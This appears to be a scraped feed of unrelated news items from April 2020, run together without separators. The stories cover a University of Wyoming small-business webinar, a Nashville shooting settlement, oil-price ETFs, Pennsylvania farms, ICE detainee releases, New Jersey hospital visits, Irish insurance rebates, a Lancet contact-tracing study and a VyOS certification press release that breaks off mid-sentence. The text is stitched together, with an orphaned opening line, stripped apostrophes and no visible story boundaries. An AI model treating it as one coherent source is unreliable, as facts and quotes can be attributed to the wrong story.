Attorney General Daniel Cameron is calling on Governor Andy Beshear to allow in-person church services to resume. On the Net: UW College of Business to Host Second Virtual COVID-19 Information Session The University of Wyoming College of Business will host its second online small business assistance Zoom session Wednesday, April 29, from 12:30-1:30 p.m. The event is free and will be accessible for registered participants. Registration is available at www.uwyo.edu/business/covid-19/. In light of Fridays authorization to infuse a second round of federal stimulus funding, several Wyoming business leaders will again join UW College of Business Dean Dave Sprott and Steve Farkas, assistant dean, to discuss navigation of available resources and best practices for sustaining the small business community. Our goal is to assist small businesses in understanding how these stimulus programs work and to share best practices from our business community leaders, Sprott says. President Donald Trump April 24 signed the nearly $500 billion Phase 3.5 emergency interim coronavirus relief package into law after Congress passed legislation replenishing the fund for small businesses -- and adding billions of dollars in aid to hospitals across the country amid the COVID-19 pandemic. We continue to explore and make available relevant resources to the business community that hopefully translate to a shortened recovery period, Farkas says. Service to our communities and supporting Wyomings economic development are key pillars within the college. Invited business leaders include: -- Tom Bass, president of Wyoming Bank and Trust. -- Jaime Liberty, CPA and senior manager at McGee, Hearne and Paiz. -- Ann Nelson, regional president, Western States Bank. -- Jim Drever, Wyoming Small Business Development Center regional director. About the UW College of Business The UW College of Business aims to be the business college of choice for people who value enriching experiences and the integrity of a handshake. The colleges mission is a commitment to the success of its students, the impact of the facultys scholarship, and the economic vitality of Wyoming and beyond. The college offers bachelors degrees in a variety of areas of study, as well as select masters and doctoral degrees. For more information, visit www.uwyo.edu/business. The city of Nashville will settle a lawsuit with the family of one of four victims shot to death inside of a Waffle House restaurant. The Metro Council voted April 21 to approve a $35,000 payment to the family of Akilah DaSilva, one day ahead of the two-year anniversary of the attack in which he was killed by a gunman with an assault-style rifle. DaSilvas mother, Shaundelle Brooks, filed a lawsuit against the city in April 2019 alleging that GPS errors first sent dispatchers to the wrong Waffle House location on April 22, 2018, delaying response time and contributing to her sons death, news outlets reported. The city filed a motion to dismiss the lawsuit last year but it was not granted and the citys Department of Law has contended it could likely win the case, but it would be expensive, The Tennessean reported. In October, the council asked the city to adopt a policy on how police handle GPS coordinates, the newspaper said. A lawyer for Brooks said that under the terms of the Tuesday settlement, Brooks intends to submit proposals for similar policy changes to the council for consideration. Travis Reinking pleaded not guilty to four counts of first-degree murder in February 2019. Authorities alleged he was nearly naked and wearing only a green jacket when he began shooting in the restaurant before a patron wrestled the rifle away from him. Copyright 2022 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Bharatiya Janata Party (BJP) president JP Nadda has asked party members not to make irresponsible comments, a directive that came in the wake of an Uttar Pradesh legislators remarks on Muslim vegetable sellers. Suresh Tiwari, the BJP MLA from Barhaj constituency in Deoria district, stirred a controversy after he was purportedly heard telling people not to buy vegetables from Muslims in a video clip. As a row raged, the BJP issued a show cause notice to Tiwari and sought his reply within seven days, according to people aware of the matter. The party president (Nadda) was extremely upset by the remarks of the MLA; he spoke to the Uttar Pradesh unit chief and said immediate action should be taken, said a person privy to the details. The person quoted above said Nadda told office bearers to convey the message that the BJP will not tolerate any irresponsible remarks and that members should not violate the code of conduct. In the video, Tiwari is heard saying: One thing you all should keep in mind. I am telling you openly. Do not buy vegetables from mias (Muslim vendors). When contacted, Tiwari admitted that he made the remark. He tried defending himself by saying that he did so as a precautionary measure in order to protect people from the coronavirus disease (Covid-19) after apprehensions that the infection was spreading due to those associated with the Tablighi Jamaat, an Islamic movement of preachers. A global religious congregation in New Delhi in mid-March, held by Tablighi Jamaat in defiance of official restrictions in the national capitals Nizamuddin area, has emerged as a hot spot of the fast-spreading infection. After an extreme volatile ride last week, WTI crude oil again started plunging to start this week. Oil prices have been downbeat for quite some time thanks to poor demand emanating from the coronavirus-led lockdowns and a price war between Saudi Arabia and Russia over the decision to prolong of the output cut deal. Although Saudi and Russia finally put an end to their row and agreed on the biggest OPEC+ output cut deal in mid-April, oil continued to slump on storage crisis. WTI suffered more than the Brent. On Apr 20, May WTI crude futures dropped to below zero for the first time in history. However, the liquid commodity recovered at the end of the last week on the back of earlier-than-scheduled output cuts by some OPEC producers and Middle East tensions, only to slump again on Apr 27 (read: OPEC Output Deal Cut: Will It Help Oil & Energy ETFs?). U.S. crudes June contracts lost about 24% on Apr 27 at the time of writing as global oil storage both offshore and onshore is fast reaching its capacity.Demand for oil in April is forecast to decline by a record 29 million b/d, per the International Energy Agency. With this, oil is now trading at about $12 per barrel (bbl), down from $60/bbl at the start of the year. WTI crude ETF United States Oil Fund, LP USO and Brent ETF United States Brent Oil Fund, LP BNO were off 55% and 31.3% in the past month. No doubt such a situation is a huge negative for oil-rich nations while is a big plus for oil-importing countries. In fact, oil importing countries received a nice opportunity to fill their reservoirs under the strategic petroleum reserves (SPR) (read: Winning ETF Strategies to Counter Epic Oil Rout). As we all know, ETFs offer a great opportunity while it comes to playing a particular nation. In light of this, we have highlighted a few country ETFs that could shoot up in the days ahead should oil price tumble and those that are likely to take a massive beating. Story continues Losers VanEck Vectors Russia ETF RSX Oil seemingly the main commodity of Russia poses huge risks to the nation. About half of Russias exports in terms of value come from oil and natural gas as the country has the third-largest oil reserve in the world and the biggest natural gas reserve. This makes it clear why Russias economy is highly dependent on oil price movement. So, the plunge in oil prices will likely make investors hesitate before investing in Russia. In fact, subdued oil prices and a stronger U.S. dollar may put pressure on the Russian currency ruble. RSX is the most popular and liquid option in the space. The energy sector accounts for about 40% of RSX, which charges 65 basis points as expenses. Global X MSCI Norway ETF NORW Norway is among the top 10 nations famous for oil exports. With its comparatively low population, oil forms the key part of the countrys GDP. Norway is one of the largest oil producers and exporters in Western Europe. The oil and gas sector constituted around 18% of Norwegian GDP and 62% of Norwegian exports in 2018. The most popular way to play the country is with NORW. The product tracks the MSCI Norway IMI 25/50 Index, a benchmark of 61 companies that focuses on Norway, charging investors 50 basis points a year in fees. The ETF has 20.5% weight in the energy sector. iShares MSCI Saudi Arabia ETF KSA Who can miss the defecto leader of OPEC? The country is the worlds biggest oil exporter. Though the fund has a meagre 6.8% exposure to energy, it puts a heavy 40.6% weight in the financials sector. For a country which is as oil-rich as Saudi is, financial market would not be free from oil impact. Winners iShares India 50 ETF INDY India, which hosts 1.3 billion people, is the worlds third-largest oil consumer and imports about 80% of its oil requirements. Hence, having taken advantage of the prevailing damn-cheap oil prices, the country is stockpiling on the liquid commodity as part of its strategic petroleum reserves (SPRs). In March, the Confederation of Indian Industry indicated that the country would save a solid $45 billion on oil imports next financial year. Since then, the pricing crash has aggravated. Hence, the favorable impact on Indias foreign currency reserves should be more pronounced (read: Should You Buy India ETFs on "Best G-20 Growth" & Oil Savings?). iShares China Large-Cap ETF FXI China, the worlds biggest energy consumer, is also building up its stockpiles of crude. Imports increased 4.5% year over year in March even as the economy was shut down. Imports form about half of Chinas oil consumption. Half of the imports comes from the Middle East, while Russia, Southeast Asia and Africa account for the rest, as quoted on MarketWatch. iShares MSCI Japan ETF EWJ Japan is yet another country that has resorted to SPR. Japans SPR is 528 million barrels, per S&P Global Platts. Japan could even witness about 13 million barrels of surplus crude supply over domestic demand in June amid feeble demand. The second-largest Japanese refiner expects domestic oil products demand to plummet by around 20% from a year ago over April-June. Want key ETF info delivered straight to your inbox? Zacks free Fund Newsletter will brief you on top news and analysis, as well as top-performing ETFs, each week. Get it free >> Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report iShares MSCI Japan ETF (EWJ): ETF Research Reports iShares China Large-Cap ETF (FXI): ETF Research Reports iShares India 50 ETF (INDY): ETF Research Reports Global X MSCI Norway ETF (NORW): ETF Research Reports VanEck Vectors Russia ETF (RSX): ETF Research Reports iShares MSCI Saudi Arabia ETF (KSA): ETF Research Reports To read this article on Zacks.com click here. Zacks Investment Research Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report Source: Xinhua| 2020-04-28 18:56:42|Editor: huaxia Video Player Close LANZHOU, April 28 (Xinhua) -- Northwest China's Gansu Province has imported 1,494 goats from Australia, the first batch of breeding goats imported from Australia by the province this year, local customs said. A charter plane carrying the goats worth 2.13 million U.S. dollars landed at the Lanzhou Zhongchuan International Airport about 67 km north of downtown Lanzhou, the provincial capital, Monday. The goats will be quarantined for 45 days after customs inspection, according to Wang Xiaobo, head of the airport customs under jurisdiction of Lanzhou Customs. The import of the dairy goats, including the breed of Saanen with a high fertility rate, long lactation period and high milk yield, will be helpful for the province's animal husbandry development. Enditem (Harrisburg) Kay Hollabaugh is exhausted. The co-owner of Hollabaugh Bros. fruit and vegetable farm and market in Biglerville, Adams County, says sales skyrocketed in the past monthup 75 percent over this time last year. My daughter-in-law takes care of the ice cream, for instance. And whereas other times [during] this time of year we would sell a few quarts, weve sold over 100 quarts of ice cream, she said. Customers concerns about shopping in big, heavily trafficked grocery stores have shoppers relying more on her familys market, Hollabaugh said. To help keep up with demand, the market launched online ordering and began stocking things it never carried before, like cereal and peanut butter. Its bakery is packaging flour and butter for retail. Kay Hollabaugh said most customers are ordering groceries for curbside pick up. (Courtesy Hollabaugh Bros., Inc. via Facebook) Hollabaugh said shes grateful her business can stay open. But shes also worried: If this level of demand persists over the summer, she said they wont be able to meet it. Uncertainty is a common thread among farmers these days. Though farming and food production are essential businesses during the COVID-19 shutdown, restrictions aimed at curtailing the viruss spread upended the food economy. Farms that sell direct to consumers, like Hollabaughs, are seeing a boom, while farmers relying on industrial supply chains are often finding themselves left in a lurch. Harvie, a website local farms can use to sell their wares, saw a 200 percent increase in sales in the first few weeks of the pandemic, according to CEO Simon Huntley. He said one factor might be that people see local food as a way to limit the number of hands on their produce before it comes into their homes. A thing that I do wonder is, how long does this sustain itself? And how do we scale up local food? Because its not something that can be done really quickly, he said. The COVID-19 crisis derailed systems designed to process and package food according to the specific needs of customers like grocery stores, restaurants, and schools. Those systems arent agile enough to repackage or reprocess products for different kinds of customers. People dont consume food the same way at home as they do in schools or restaurants, said Joel Rotz, who manages government affairs and communication at the Pennsylvania Farm Bureau. Were the biggest mushroom growing state in the nation and the restaurant business shutting down hugely impacted the consumption of mushrooms, he said. And so, mushroom growers are finding themselves destroying stocks of mushroom and not planting additional mushrooms. Rob Barley, chairman of the Pennsylvania Milk Marketing Board, said when schools closed, milk distributors suddenly had a lot of milk ready to go in half-pint containers that they couldnt send to grocery stores or repackage. He said even though stores were wiped clean of milk early in the shutdown, that spike didnt make up for the drop off from restaurants, which use about half of all dairy products. Barley said theres now 10 to 15 percent extra milk on the market, and thats driving down prices again for an industry that was already struggling. Barley said his farm, Star Rock Dairy in Lancaster County, has been forced to dump thousands and thousands of gallons of milk in the past few weeks. Lancaster County dairy farmer Lisa Graybeal had been optimistic about 2020. The virus hit during the expensive planting season when Graybeals 760 Holsteins are producing more milk than other times of year. Any other time of year wed be cheering, Graybeal said. But now that were in this time, it does make us nervous. It makes us very nervous. Rotz said long-term milk prices are expected to go to historic lows and stay there for some time. At Shelmar Acres in Mount Joy, Mitch Shellenberger is wondering what will happen to his 300 heifers. Obviously, if theres no money to be made milking cows, then theres no money to be made selling cows for milking, he said. But he has a bigger problem, in the form of about 5,000 pigs. He has a contract to sell them to Hatfield Quality Meats, but his shipments are getting canceled. Some of that is due to lower demand from restaurants, but its also a workforce issue. Hatfields plant is in Montgomery Countyan area hard hit by the virus. So many employees are calling off work, either because they are sick or because theyre afraid of getting sick, that the plant cant operate at full capacity. Mitch Shellenberger raises about 16,000 hogs each year in barns seen here on Tuesday, October 29, 2019. (Rachel McDevitt / PA Post) Shellenberger is working on a tight time frame. The plant will usually only take pigs that are in a specific weight range. Once a hog weighs more than 315 pounds, Shellenberger gets penalized and could end up losing money. He hasnt heard if the plant will waive that penalty because of the circumstances. If the crisis drags on, Shellenberger is worried that could spell the end for his farm. But if thats happening, thats happening across the nation, he said. And that means that our domestic food supply is dying off. And that just cannot happen. Using aid money authorized by Congress, the U.S. Department of Agriculture plans to pay out $16 billion to farmers and ranchers affected by the pandemic. Rotz, at the Pennsylvania Farm Bureau, said the aid will be helpful. But its certainly not going to make farmers whole, he said. And particularly, again, with dairy given the fact theyve just taken a beating for several years now and were just beginning to see profits returning to the farm. Its just a huge setback to see this happening. Some, like Diana Martin at the Rodale Institute, are concerned the federal program will mainly benefit large farm businesses and not small, family farms. Right now, we want to support our local farmers and make sure we still have access to fresh food, she said. But I also feel like the world has kind of stopped. And its an opportunity for us to think about the kind of world that we want to go back to. Shellenberger stressed its important to make sure farmers can come out on the other side of this. Because its one thing to be scared about getting sick, he said, and its another thing to be scared about getting food, you know? Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. CLEVELAND, Ohio A federal judge in Columbus ordered immigration officials to immediately release three detainees from jails in southern Ohio, saying that they had ailments that could leave them at increased risk of serious illness from the coronaviurus. U.S. District Judge Sarah Morrison wrote Monday that the men housed in the Butler County Jail outside Cincinnati and the Morrow County Jail about 50 miles north of Columbus face a great risk because of how quickly the virus could spread to them if even one inmate contracts it. She wrote that neither jail took precautions to prevent the spread of the virus, nor does the Court imagine that they could, short of quarantining each person in the facility. The men hail from Venezuela, Guinea and Gambia and suffer from conditions including hypertension, asthma and thyroid cancer, placing them more at risk for the virus, she wrote. Morrison noted that she only released the men on a temporary basis, as Immigration and Customs Enforcement officials couldnt immediately provide information to defend themselves from the lawsuit. A hearing for a preliminary injunction is scheduled for May 11, and after that she will rule on whether the men should remain free even longer. For now the danger is too great, she wrote. ICE said that one detainee at the Morrow County Jail has tested positive for the coronavirus as of Monday, as well as one staff member at the Butler County Jail. Morrow and Butler are in the eye of a storm. Based on the information currently before this Court, Petitioners are uniquely in the path of that storm, and temporary release is the only way to safeguard them, wrote Morrison, an appointee of President Donald Trump. The judges ruling came in response to a lawsuit filed Friday but the American Civil Liberties Union of Ohio in an attempt to free the men. The organization, like many other advocates, have said jails and prisons should reduce their populations and take more steps because inmates are more at risk of contracting the virus. Inmates generally live in close quarters and often do not have adequate access to cleaning supplies and health care, they argue. Three-hundred-sixty ICE detainees across the country tested positive for the virus as of Tuesday, along with 35 employees at detention centers as of Friday. The problem is more visible in state and federal prisons in Ohio, where thousands of inmates tested positive and nearly two dozen have died. Thats the only way to keep people safe, ACLU attorney Elizabeth Bonham said Tuesday of efforts to reduce jail populations. Its just like on a cruise ship or in a nursing home, though at least there people are at leisure. She said she was happy with the judges decision and that the agency is still trying to identify more detainees who could be released. ICE has faced criticism for not doing enough to release detainees more at risk from the virus. It is the second lawsuit the ACLU has filed in Ohio. A federal judge in Cleveland previously ordered the immediate release of one detainee from the Geauga County Jail, and ICE agreed to release two others held in Geauga and Seneca counties. The judge, Dan Polster, also denied the immediate release of three other detainees during a hearing Monday, though ordered ICE to respond on whether two others could be freed. A spokesman for ICEs office in Detroit, which oversees operations in Ohio and Michigan, issued a statement that didnt directly address the judges decision, but said the agency is looking at cases involving at-risk detainees and whether they can be released. Read more: ACLU sues ICE to release detainees from Morrow, Butler county jails due to coronavirus ICE agrees to release two more at-risk detainees from Ohio jails due to coronavirus pandemic Federal judge in Cleveland orders release of man in ICE custody over coronavirus concerns Ohio counties earn millions on ICEs hunt for undocumented immigrants The doctor looked around the emergency room and barely saw a child in the unit. Heart attack and stroke victims also seemed to have nearly vanished. For Dr. Lewis Nelson, chair of the emergency department at University Hospital in Newark, it was a stunning sight. There were plenty of coronavirus patients. But where was everyone else? Nelson was baffled. Surely people in New Jersey were still suffering heart attacks and strokes. But we just see people with respiratory illness or COVID, Nelson said. Its a phenomenon occurring statewide. Emergency departments in North, Central and South Jersey have all seen similar declines in patients who arent among the 111,000 in the state who have tested positive for the coronavirus. The dramatic decline in hospital visits has been shocking for health care workers, even if some critically ill patients are still seeking treatment. In recent weeks, Universitys emergency department has seen a 37% drop in heart attack and stroke cases, a hospital spokesman said. The trend is the same in South Jersey, where Virtua Health has seen emergency room visits for non-COVID-19 health concerns drop across its medical system. "It is certainly possible that people are avoiding hospitals for fear of exposure to the coronavirus or because they do not want to add to the burden placed on health systems, said Dr. Reginald Blaber, chief clinical officer at Virtua Health, in a statement. Virtua Our Lady of Lourdes Hospital in Camden has treated fewer-than-average patients with heart attacks and strokes during the outbreak, it said after examining year-over-year emergency department admissions. In North Jersey, Dr. Suraj Saggar, an infectious disease specialist at Holy Name Medical Center in Teaneck, said his hospital has also seen a significant drop in non-coronavirus patients. The decline ranges from those with minor ailments to severe conditions like heart attacks and strokes. Its all across the board, Saggar said. Were not seeing the other types of infections typical cellulitis, urinary tract infections, other types of bacterial pneumonia. All the other things youd expect to see. In Atlantic County, several hospitals have seen a rise in COVID-19 patients, but a significant decrease in emergency department patients, said Dr. Thomas Brabson, chairman of emergency services with AtlantiCare, in a previous report. The disappearance of these patients concerns health officials. They wonder if those people are suffering at home, trying to self-treat to avoid the virus. And they wonder if those people will swarm hospitals once the pandemic begins to subside. "The concern is a lot of people are having heart injury at home," Saggar said. "It's unclear will they be found dead at home?" Where are these patients? he added. But patients who are suffering from severe conditions havent vanished altogether. RWJBarnabas said in a previous report that severely ill patients like those with severe appendicitis were still visiting its various facilities. Cooper University Hospital in Camden has also witnessed a drop in non-COVID-19 patients, even if many sick and injured people continue coming. As a trauma center, we are still getting those patients, said Wendy Marano, a spokeswoman for Cooper. Lockdown restrictions could be the cause of the decline. After all, society has ground to a halt, keeping people inside. That means fewer car accidents, playground injuries and work mishaps. "Because of quarantine and social distancing, people are afraid to leave their homes," Nelson said. But it doesnt explain the whole picture. Nelson pointed to the obvious: People dont need to leave their homes to suffer a heart attack or stroke. A report published in the Journal of the American College of Cardiology found there was a 38% decline in heart attack patients nationwide in March who suffered a severe, life-threatening blockage known as a STEMI. "I think there's a fear factor of people for not coming in," Nelson said. "Because they might be afraid these health care venues are contagious." There's only one explanation he doesn't buy. "That people aren't getting sick," Nelson said. He worries about all the people in need of treatment who arent seeking it. Thats a big concern, Nelson said. People who need health care arent getting it, he said. There arent doctor offices and other places open, so these folks are just not getting care." The drop in pediatric patients has shocked and worried him the most. University has seen very few children the past several weeks. Whether its asthma or infections or diabetes, its really concerning I think people are afraid, or its too difficult, Nelson said. There happens to be a dark silver lining to the decline. Without it, there would be no way hospitals could manage the volume of COVID-19 patients coming in day after day. "We wouldn't be able to function," Nelson said. COVID-19 cases and deaths continue to mount, but the rates of infection are beginning to slow. When patient volume returns to normal, the task will hardly be over for health care workers. Hospitals will have to combat a new wave of patients: The endless backlog of elective surgeries and procedures postponed to prioritize the surge. There is going to be a lot of care once the lockdown ends, Nelson said. Spencer Kent may be reached at skent@njadvancemedia.com. Follow him on Twitter @SpencerMKent. Find NJ.com on Facebook. Have a tip? Tell us. nj.com/tips Get the latest updates right in your inbox. Subscribe to NJ.coms newsletters. TWO motor insurance firms have outlined the rebates they are paying to policyholders TWO motor insurance firms have outlined the rebates they are paying to policyholders. Motorists insured with Liberty Ireland are to get back 15pc of their premium for two months, subject to a minimum of 10. This means that if a driver is paying 700 a year they will get back 20. The company said it would issue what it called cash-equivalent vouchers. This is likely to be in the form of a voucher for a petrol station. This approach is being looked at as it is too expensive to issue cheques and some customers are reluctant to share bank details. And Axa is refunding what is expected to work out at up to 30 per policy. Liberty said its response to the Covid1-19 pandemic, which has led to a huge drop in traffic volumes, will cost it 5m. A number of insurers have committed to refunding motorists and lowering premiums after pressure from Finance Minister Paschal Donohoe. It comes after similar moves in the US and from one of the leading insurers in Britain. Liberty Ireland said its policyholders could claim a cash equivalent voucher, or they can donate the money charity working with front-line workers battling the virus. Chief executive of Liberty Insurance Tom McIlduff said: We recognise that these are exceptional circumstances and now is a challenging time for many of our customers. We also recognise that risks on Irish roads are reduced in light of current restrictions. One of the States largest motor insurers, Axa, plans to give a rebate to customers that is expected to be up to 30 for each motor policy, and likely to be paid in the form of a cheque. The company is understood to be setting aside up to 20m to pay for the refunds. The move reflects that fact insurers are getting fewer claims due to the nationwide shutdown caused by the Covid-19 pandemic. It is understood Axs has around 600,000 motor policies in this country, which is almost a third of the motor market. Last week five insurers announced they would return funds to their motor customers. They are Axa, Allianz, FBD, RSA and Zurich. It is understood AIG is to lower its premiums rather than offering rebates, a move that would discourage shopping around. Asked if it was offering rebates, Aviva would only say it will continue to review traffic volumes, driving habits and claims. STATEN ISLAND, N.Y. -- Yes, Theyre Open" is a new web series highlighting local bars and restaurants that are still open for takeout, delivery or pickup during the coronavirus (COVID-19) outbreak. Live streams from the featured restaurants are broadcast on the Advance Facebook page every weekday around 3 p.m. On Monday, the Advance visited Taste of India II at 287 New Dorp Lane, which offers takeout and delivery options from noon to 9:30 p.m. daily. Call 718-987-4700 or visit tasteofindia2.com to place an order. Staten Island restaurant owners: If you would like your establishment featured for free as part of Yes, Theyre Open, email reporter Victoria Priola at vpriola@siadvance.com. For a full list of restaurants and bars that are still open for takeout, delivery and curbside pickup, click here. YES, THEYRE OPEN: Taste of India II, located at 287 New Dorp Lane, is open for pickup, delivery and take out. Hours are noon to 9:30 p.m. daily Call 718-987-4700 or visit tasteofindia2.com to place your order. Posted by Staten Island Advance on Monday, April 27, 2020 MORE ON YES, THEYRE OPEN Brioso Ristorante, 174 New Dorp Lane. Bin 5, 1233 Bay St. Barios, 446 Nome Ave Joyces Tavern, 3823 Richmond Ave. Pier 76, 76 Bay St. Johns Deli, 173 New Dorp Lane. Mezcals, 20 Bradley Ave. ONeills, 1614 Forest Ave. Maxs Es-Ca, 1559 Richmond Road. Harvest Cafe, 694 New Dorp Lane Tropical Smoothie Cafe, 1650 Richmond Ave., 1407 Forest Ave. and 7001 Amboy Road Kings Arms Diner, 500 Forest Ave. Giovannis Trattoria, 3800 Richmond Ave. Reggianos, 7339 Amboy Road Beso, 11 Schuyler St. Blue, 1115 Richmond Terrace In Fine Fettle, 961 Jewett Ave. West Shore Inn, 3955 Victory Blvd. Better Gourmet Health Kitchen, 2333 Hylan Blvd., 400 Forest Ave., 4077 Victory Blvd. and 877 Huguenot Ave. Campania Coal Fired Pizza, 3900 Richmond Ave. Call It A Wrap, 1198 Forest Ave. Beans and Leaves, 422 Forest Ave. Contact tracing to rapidly isolate people who could be infected with coronavirus disease 2019 (COVID-19) reduced the length of time people were infectious in the community over 4 weeks (from 14 January to 12 February 2020) in Shenzhen, China, according to results from 391 cases and 1,286 of their close contacts, published in The Lancet Infectious Diseases journal. In Shenzhen, authorities identified who to isolate based on their contact with confirmed cases, as well as isolating people who already had symptoms. The new study finds that contact tracing increased the speed at which new cases were confirmed by 2 days (an average of 5.5 days initially, reduced to 3.2 with contact tracing). It also reduced the amount of time it took to isolate infected people by 2 days (from an average of 4.6 days down to 2.7). There were only three deaths in the study group during the study period. On January 8, 2020, authorities began to monitor travellers from Hubei province for symptoms such as a fever and cough, and after 2 weeks expanded to monitor people without symptoms as well as the wider community. Suspected cases and their close contacts provided nasal swabs, which were tested for coronavirus at 28 local hospital and 12 other centres. People with symptoms were isolated and treated in hospital before their test results were known, and those without symptoms were quarantined at dedicated facilities. Close contacts who tested negative were quarantined at home or in a dedicated facility and monitored for 14 days. During the study period, the reproductive number among observed cases was 0.4, far below the threshold of 1 required for incidence to decline. However, since this was only among traced contacts the true reproductive number was likely higher, though the end of the local outbreak suggests it also was below 1. "The experience of COVID-19 in the city of Shenzhen may demonstrate the huge scale of testing and contact tracing that's needed to reduce the virus spreading," says Dr Ting Ma from the Harbin Institute of Technology at Shenzhen, China. "Some of the strict control measures enforced here, such as isolating people outside their homes, might be unlikely to be replicated elsewhere, but we urge governments to consider our findings in the global response to COVID-19. To achieve similar results, other countries might be able to combine near-universal testing and intensive contact tracing with social distancing and partial lockdowns. Although no lockdown measures were introduced in Shenzhen until the end of our study period, Wuhan's lockdown could have significantly restricted the spread of coronavirus to Shenzhen." [2] For the current study, the authors analysed data from 391 people diagnosed with COVID-19 after they showed symptoms, and 1,286 of their close contacts. The contacts were tested irrespective of whether they had symptoms in order to identify infected people who were asymptomatic. The data gave insights into the type of contact most likely to lead to transmission. Close contacts were defined as people who shared a household with infected patients up to 2 days before they started showing symptoms, or interacted with them socially by travelling or eating together. For people who were isolated because they showed symptoms of COVID-19, it took an average of 4.6 days for them to be isolated following the first signs of infection. Contact tracing reduced this to an average of 2.7 days. For people diagnosed with COVID-19 after being contact traced and tested (87 people), a fifth (17 out of 87 people) had not yet developed any symptoms, and 30% (25 out of 87) did not have a fever. Contact tracing also reduced the length of time between someone first experiencing symptoms and being diagnosed. It took an average of 5.5 days if people were only tested after they reported symptoms, but with contact tracing there was only a delay of an average of 3.2 days between the first symptoms and a confirmed diagnosis. The length of time for which a person remains infectious is not yet known, but reducing the amount of time that infected people interacted with others appears to have helped reduce the virus spreading. In this study, transmission was most likely between people who shared a household, but not all close contacts caught COVID-19, with only 11% of close contacts of this kind developing the disease. Of close contacts who travelled together with an infected person (for example on a plane, bus, train or boat), an average of 6% developed the disease. Of close contacts who shared a meal with an infected person, an average of 9% developed the disease. The authors note that these transmission rates will be higher in other countries, where measures such as isolation outside the home might not be as strict or rapid. These data do not give any insights into why some cases cause higher levels of transmission than others. The study also provided results on the likelihood of infection by age group, the severity of symptoms according to age group, the incubation period before symptoms began, and the recovery time or time to death. The results were consistent with those from previous studies. The authors highlight several limitations to their study, including that it is impossible to trace every potential contact an individual has. Contact tracing therefore focuses on close contacts who are most likely to be infected. They note that some infected travellers to Shenzhen could have been missed if they were only tested due to symptoms such as a fever. Their contacts might also have been missed if they were asymptomatic, because the PCR test is not sensitive enough to pick up every case. Writing in a linked Comment, lead epidemiologist Dr Cecile Viboud (who was not involved in the study) from the National Institutes of Health, USA, says: "As we look towards post-lockdown strategies, we should examine the experience of countries that have successfully controlled SARS-CoV-2 transmission or have low mortality (eg, China, Singapore, Taiwan, South Korea, Germany, and Iceland). Successful strategies include ample testing and contact tracing, supplemented by moderate forms of social distancing. Contact tracing on the scale that is needed for the SARS-CoV-2 response is labour intensive, and imperfect if done manually. Hence new technology-based approaches are greatly needed to assist in identification of contacts, especially if case detection is aggressive. Building on the SARS-CoV-2 experience in Shenzhen and other settings, we contend that enhanced case finding and contact tracing should be part of the long-term response to this pandemic--this can get us most of the way towards control." ### Peer-reviewed / Observational study / People NOTES TO EDITORS This study was funded by the Emergency Response Program of Harbin Institute of Technology, the Emergency Response Program of Peng Cheng Laboratory and the US Centers for Disease Control and Prevention. It was conducted by researchers from Johns Hopkins Bloomberg School of Public Health, Shenzhen Center for Disease Control and Prevention, Harbin Institute of Technology at Shenzhen, and Peng Cheng Laboratory, Shenzhen. The labels have been added to this press release as part of a project run by the Academy of Medical Sciences seeking to improve the communication of evidence. For more information, please see: http://www.sciencemediacentre.org/wp-content/uploads/2018/01/AMS-press-release-labelling-system-GUIDANCE.pdf if you have any questions or feedback, please contact The Lancet press office pressoffice@lancet.com [1] https://doi.org/10.1016/S1473-3099(20)30243-7 [2] Quote direct from author and cannot be found in the text of the Article. For interviews with the Article author, please contact: Dr Ting Ma: E) tma@hit.edu.cn T) +86-18825278961 Professor Justine Lessler: E) justin@jhu.edu T) 919-599-2133, or Communications Associate Jon Eichberger: T) je@jhu.edu For interviews with the Comment author, please contact NIH Communications Director Ann Puderbaugh: E) puderba@mail.nih.gov For embargoed access to the Article and Comment, please see: http://www.thelancet-press.com/embargo/contacttracing.pdf For embargoed access to the Appendix, please see: http://www.thelancet-press.com/embargo/contacttracingAPPX.pdf NOTE: THE ABOVE LINK IS FOR JOURNALISTS ONLY; IF YOU WISH TO PROVIDE A LINK FOR YOUR READERS, PLEASE USE THE FOLLOWING, WHICH WILL GO LIVE AT THE TIME THE EMBARGO LIFTS: http://www.thelancet.com/journals/laninf/article/PIIS1473-3099(20)30287-5/fulltext Contact The Lancet press office: LONDON Jessica Kleyn, Press Officer Tel: +44 (0) 7342 068540 jessica.kleyn@lancet.com Emily Head, Media Relations Manager Tel: +44 (0) 7920 530997 emily.head@lancet.com Seil Collins, Head of Media and Communications Tel: +44 (0) 7787 222936 seil.collins@lancet.com NEW YORK Aaron van Dorn, Outreach Editor/Press Assistant Tel: +1 212-633-3810 a.vandorn@lancet.com OUTSIDE OF UK HOURS Tel: +44 (0) 207 424 4249 BARCELONA, Spain, April 28, 2020 /PRNewswire/ -- Sentrium officially announces the launch of the first VyOS certification for network engineers (VCNE) that will meet expectations of the wide variety of individuals willing to get certified and the certification will be valid for two years. VCNE will be the first of VyOS certifications and requires candidates having intermediate skills in networking and VyOS. Unlike a common tradition, the procedure of getting through to passing grade has been modified. Instead, the candidate will encounter the network, which is broken in various ways. There will be a list of objectives, where the candidate must get as many things from to make it work correctly as necessary. Yuriy Andamasov, Coordinator of VyOS Project, said: "VyOS certification for network engineers is one of the most frequently requested studies by people who need VyOS skills in their job. Finally, after the time of continuous development and improvement of the program, we are officially launching the first course of "VyOS Certified Networks Engineer. The obtained certificate isn't just a proof of knowledge and competency of the successful applicants, but a decent step forward in their career and tangible benefits for their employers on all VyOS services." To get prepared for the exam, the candidate has to make sure to brush up IPsec, VTI, OSPF, BGP, NAT, and firewall configuration. Given options are constructed in such a manner so that an experienced VyOS user and network admin can pass it without special preparation for that certification, but still requires a pretty broad knowledge and multiple skills. Successful passing of the exam will grant a VNCE badge on YourAcclaim platform that could be added to Linkedin and other social networks. The certification cost is 200 per exam. Sentrium also offers free certifications to existing customers: Existing Pro Customers will get one voucher for free; Existing Corp Customers will get five vouchers for free. To receive a voucher, please submit a request in the support portal . To apply for certification, please fill out the waitlist form. For more detailed information, please visit the official website . About VyOS VyOS is a fully open-source network OS that provides a wide range of features for any network, from a small business to an Internet service provider. It runs on commodity hardware such as desktop router boards and large servers; virtual machines in all popular hypervisors and multiple clouds hosting platforms including VMware, KVM, Xen, Amazon EC2, Microsoft Azure, Google Cloud Platform, and more. Its aim is to provide the reliability and user experience of traditional hardware routers, without getting tied to any specified hardware or software vendor. Unified command-line interface and HTTP API for 